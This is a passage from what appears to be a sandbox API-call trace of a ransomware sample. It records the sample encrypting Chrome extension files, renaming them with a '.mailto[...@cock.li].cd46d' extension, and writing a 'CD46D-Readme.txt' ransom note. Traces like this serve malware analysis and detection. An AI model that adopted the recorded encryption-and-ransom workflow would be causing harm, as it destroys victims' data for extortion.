lpBuffer=0x134a3810, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0xc59f894, lpOverlapped=0x0) [0193.259] SetFilePointerEx (in: hFile=0x878, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.259] WriteFile (in: hFile=0x878, lpBuffer=0x134b0018*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0xc59f890, lpOverlapped=0x0 | out: lpBuffer=0x134b0018*, lpNumberOfBytesWritten=0xc59f890*=0xea, lpOverlapped=0x0) returned 1 [0194.462] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945a78 [0194.462] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945aa0 [0194.462] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945aa0) returned 1 [0194.462] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134b0018) returned 1 [0194.462] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134a3810) returned 1 [0194.462] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8e18) returned 1 [0194.462] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9960) returned 1 [0194.462] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f69c0 [0194.462] SetFilePointerEx (in: hFile=0x878, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.462] WriteFile (in: hFile=0x878, lpBuffer=0x12cf6558*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xc59f8f8, lpOverlapped=0x0 | out: lpBuffer=0x12cf6558*, lpNumberOfBytesWritten=0xc59f8f8*=0x10b, lpOverlapped=0x0) returned 1 [0195.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6558) returned 1 [0195.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f69f0) returned 1 [0195.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945aa0) returned 1 [0195.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f69c0) returned 1 [0195.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945a78) returned 1 [0195.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeec0) returned 1 [0195.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af168) returned 1 [0195.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938068) returned 1 [0195.878] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17a) returned 0x12cf81d8 [0195.878] wcscpy (in: _Dest=0x12cf81d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" [0195.878] wcscat (in: _Dest=0x12cf81d8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0195.878] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xc59f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0195.878] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x190) returned 0xd4c96d0 [0196.021] FlushFileBuffers (hFile=0x878) returned 1 [0196.033] CloseHandle (hObject=0x878) returned 1 [0196.094] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13a) returned 0x9b5f50 [0196.094] wcscpy (in: _Dest=0x9b5f50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\" [0196.094] wcscat (in: _Dest=0x9b5f50, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\CD46D-Readme.txt" [0196.094] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\cd46d-readme.txt")) returned 0xffffffff [0196.094] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13e0 [0196.204] WriteFile (in: hFile=0x13e0, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xc59f8b8, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0xc59f8b8*=0x6fd, lpOverlapped=0x0) returned 1 [0196.205] CloseHandle (hObject=0x13e0) returned 1 [0196.205] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5f50) returned 1 [0196.205] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b6848) returned 1 Thread: id = 8053 os_tid = 0x18c4 [0188.486] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json")) returned 0x2020 [0188.487] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json", dwFileAttributes=0x20) returned 1 [0191.230] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11a4 [0191.230] GetFileSizeEx (in: hFile=0x11a4, lpFileSize=0xba6ff1c | out: lpFileSize=0xba6ff1c*=268) returned 1 [0191.230] SetFilePointerEx (in: hFile=0x11a4, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.230] ReadFile (in: hFile=0x11a4, lpBuffer=0xba6fea0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xba6fe9c, lpOverlapped=0x0 | out: lpBuffer=0xba6fea0*, lpNumberOfBytesRead=0xba6fe9c*=0x4, lpOverlapped=0x0) returned 1 [0191.231] SetFilePointerEx (in: hFile=0x11a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.231] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909398 [0191.231] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d81c0 [0191.231] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8440 [0191.231] NtQuerySystemTime (in: CurrentTime=0xba6fe7c | out: CurrentTime=0xba6fe7c*=132174899658262000) returned 0x0 [0191.231] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x5fb49cd8 [0191.231] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x6ac9d4d5 [0191.231] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x2b43a141 [0191.231] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x3e81ff06 [0191.231] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x3e0afd0 [0191.231] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x647341b4 [0191.231] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x3a0710a2 [0191.231] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x70f11196 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x72277575 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x49798d83 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x208f2d29 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x1adc114f [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x1af64ee4 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x3011fb59 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x64bbe5f0 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x2b312348 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x5e6f3c59 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x6032e324 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x3fff3715 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x444a24f7 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x15c9b8a5 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x5234fc01 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x40677e7f [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x76873841 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x5881eb94 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x3ce015fa [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x12216ce2 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x3c6c072e [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x5bcb5834 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x1132cbf4 [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x13b75d1c [0191.232] RtlRandomEx (in: Seed=0xba6fe88 | out: Seed=0xba6fe88) returned 0x7c209080 [0191.245] ReadFile (hFile=0x11a4, lpBuffer=0x134f1178, nNumberOfBytesToRead=0x10c, lpNumberOfBytesRead=0xba6fe78, lpOverlapped=0x0) [0191.245] SetFilePointerEx (in: hFile=0x11a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.245] WriteFile (in: hFile=0x11a4, lpBuffer=0x134fd980*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xba6fe74, lpOverlapped=0x0 | out: lpBuffer=0x134fd980*, lpNumberOfBytesWritten=0xba6fe74*=0x10c, lpOverlapped=0x0) returned 1 [0191.751] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8198 [0191.751] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8170 [0191.751] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8170) returned 1 [0191.751] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134fd980) returned 1 [0191.751] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134f1178) returned 1 [0191.751] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8968) returned 1 [0191.751] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9600) returned 1 [0191.751] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6fc0 [0191.751] SetFilePointerEx (in: hFile=0x11a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.751] WriteFile (in: hFile=0x11a4, lpBuffer=0x12cf5838*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xba6fedc, lpOverlapped=0x0 | out: lpBuffer=0x12cf5838*, lpNumberOfBytesWritten=0xba6fedc*=0x10b, lpOverlapped=0x0) returned 1 [0191.857] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5838) returned 1 [0191.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ff0) returned 1 [0191.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8170) returned 1 [0191.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6fc0) returned 1 [0191.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8198) returned 1 [0191.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d81c0) returned 1 [0191.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8468) returned 1 [0191.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8490) returned 1 [0191.858] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x12cf78a8 [0191.858] wcscpy (in: _Dest=0x12cf78a8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" [0191.858] wcscat (in: _Dest=0x12cf78a8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0191.858] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xba6fe94, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.858] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x93d7f0 Thread: id = 8054 os_tid = 0x18c8 [0188.487] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json")) returned 0x2020 [0188.487] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json", dwFileAttributes=0x20) returned 1 [0191.246] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1858 [0191.246] GetFileSizeEx (in: hFile=0x1858, lpFileSize=0x34af818 | out: lpFileSize=0x34af818*=289) returned 1 [0191.246] SetFilePointerEx (in: hFile=0x1858, liDistanceToMove=0x11d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.246] ReadFile (in: hFile=0x1858, lpBuffer=0x34af79c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34af798, lpOverlapped=0x0 | out: lpBuffer=0x34af79c*, lpNumberOfBytesRead=0x34af798*=0x4, lpOverlapped=0x0) returned 1 [0191.247] SetFilePointerEx (in: hFile=0x1858, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.247] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909398 [0191.247] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8440 [0191.247] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d82d8 [0191.247] NtQuerySystemTime (in: CurrentTime=0x34af778 | out: CurrentTime=0x34af778*=132174899658418000) returned 0x0 [0191.247] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x671c2484 [0191.247] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x58d79031 [0191.247] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x4a67a864 [0191.247] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0xc2702c2 [0191.247] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x791ae669 [0191.247] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x26dfdaa0 [0191.247] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x5dd3c511 [0191.247] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x5ca8db83 [0191.247] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x356a8e43 [0191.247] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x68e90102 [0191.247] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x387e192b [0191.247] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x2d5ba6b4 [0191.247] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0xf0cc328 [0191.247] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x211a6026 [0191.247] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0xe2041 [0191.247] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x11e0d640 [0191.248] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x76caac2b [0191.248] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x626f954c [0191.248] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x2604f3ec [0191.248] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x4e145484 [0191.248] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x650785da [0191.248] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x5b9231d [0191.248] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x40d7dc45 [0191.248] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x18fb87b9 [0191.248] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x41c448b3 [0191.248] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x3077820 [0191.248] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x2da294c1 [0191.248] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x1a9afaa5 [0191.248] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x2d77bc01 [0191.248] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x64532420 [0191.248] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x357adbab [0191.248] RtlRandomEx (in: Seed=0x34af784 | out: Seed=0x34af784) returned 0x1c86c832 [0191.261] ReadFile (hFile=0x1858, lpBuffer=0x1350a188, nNumberOfBytesToRead=0x121, lpNumberOfBytesRead=0x34af774, lpOverlapped=0x0) [0191.261] SetFilePointerEx (in: hFile=0x1858, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.261] WriteFile (in: hFile=0x1858, lpBuffer=0x13516990*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x34af770, lpOverlapped=0x0 | out: lpBuffer=0x13516990*, lpNumberOfBytesWritten=0x34af770*=0x121, lpOverlapped=0x0) returned 1 [0192.341] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aedd0 [0192.341] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af0c8 [0192.341] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0c8) returned 1 [0192.341] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13516990) returned 1 [0192.341] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1350a188) returned 1 [0192.341] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8698) returned 1 [0192.341] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9648) returned 1 [0192.341] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d88f8 [0192.341] SetFilePointerEx (in: hFile=0x1858, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.341] WriteFile (in: hFile=0x1858, lpBuffer=0x12cf5b80*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x34af7d8, lpOverlapped=0x0 | out: lpBuffer=0x12cf5b80*, lpNumberOfBytesWritten=0x34af7d8*=0x10b, lpOverlapped=0x0) returned 1 [0192.651] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5b80) returned 1 [0192.651] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d87a8) returned 1 [0192.651] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0c8) returned 1 [0192.651] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88f8) returned 1 [0192.651] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aedd0) returned 1 [0192.651] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8440) returned 1 [0192.651] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8238) returned 1 [0192.651] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d83a0) returned 1 [0192.651] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x12cf87f8 [0192.651] wcscpy (in: _Dest=0x12cf87f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 